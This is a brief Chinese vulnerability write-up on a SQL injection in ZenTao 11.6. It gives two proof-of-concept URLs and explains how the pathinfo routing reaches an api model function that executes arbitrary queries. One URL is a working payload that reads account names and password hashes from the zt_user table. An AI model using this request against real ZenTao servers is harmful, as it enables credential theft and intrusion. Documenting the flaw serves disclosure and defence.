禅道 11.6 sql注入漏洞

```
漏洞url:
http://xxx.xxx/zentaopms_11.6/www/api-getModel-user-getRealNameAndEmails-users=admin
http://xxx.xxx/zentaopms_11.6/www/api-getModel-api-sql-sql=select+account,password+from+zt_user
```

这里简单说下禅道目前最新版所采用的pathinfo模式，首先通过传参确定进入的control文件为api，对应的method为getModel，接着开始对参数进行赋值，其中moduleName为api，methodName=sql，最后的param为sql=select+account,password+from+zt_user，那么调用了call_user_func_array函数后，会进入到api目录下的model文件，对应调用其中的sql函数，并通过赋值，将sql变量赋值为select+account,password+from+zt_user，最后执行query语句